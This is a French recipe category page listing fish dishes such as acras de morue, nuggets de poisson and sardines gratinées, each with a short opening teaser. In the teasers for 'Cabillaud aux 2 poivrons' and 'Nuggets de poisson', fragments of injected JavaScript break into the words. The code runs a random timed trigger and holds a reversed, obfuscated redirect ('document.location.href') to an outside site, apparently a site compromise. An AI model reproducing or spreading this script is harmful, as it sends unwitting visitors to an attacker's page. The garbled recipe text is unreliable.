Catégorie : Mer
Acras de morue
Dans un récipient d’eau froide, plongez le filet de morue et faites les dessaler la ...
Christine Lire la suiteLieu jaune aux aromates
Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Pelez, hachez les oignons. Pelez, ...
Christine Lire la suiteCabillaud aux 2 poivrons
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande casserole d’eau bouillante salée. ...
Christine Lire la suiteNuggets de poisson
Découpez les filets de poisson en bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets de 10 ...
Christine Lire la suiteMaquereaux à la vénitienne
Rincez, séchez les filets de maquereaux. Pelez, coupez en quatre les pommes de terre. Les ...
Christine Lire la suiteSauté de lotte au curry
Pelez et râpez le morceau de gingembre. Pelez, coupez en deux l’ail, ôtez le germe. ...
Christine Lire la suitePavés de saumon avec une compote de pommes et fenouil
Rincez, séchez, émincez le bulbe de fenouil. Pelez, émincez l’échalote. Dans une eau bouillante salée.
Christine Lire la suiteBallottine de poisson
Rincez, essorez, hachez le persil. Dans une poêle avec 2 cuillerées à soupe d’huile d’arachide, ...
Christine Lire la suiteSoufflé aux saumons
Effilochez le saumon et l’écrasez en fine purée avec une fourchette. Préparez une béchamel épaisse.
Christine Lire la suiteSardines gratinées
Écaillez, videz, rincez et séchez les sardines. Dans une casserole avec le beurre, sur feu ...
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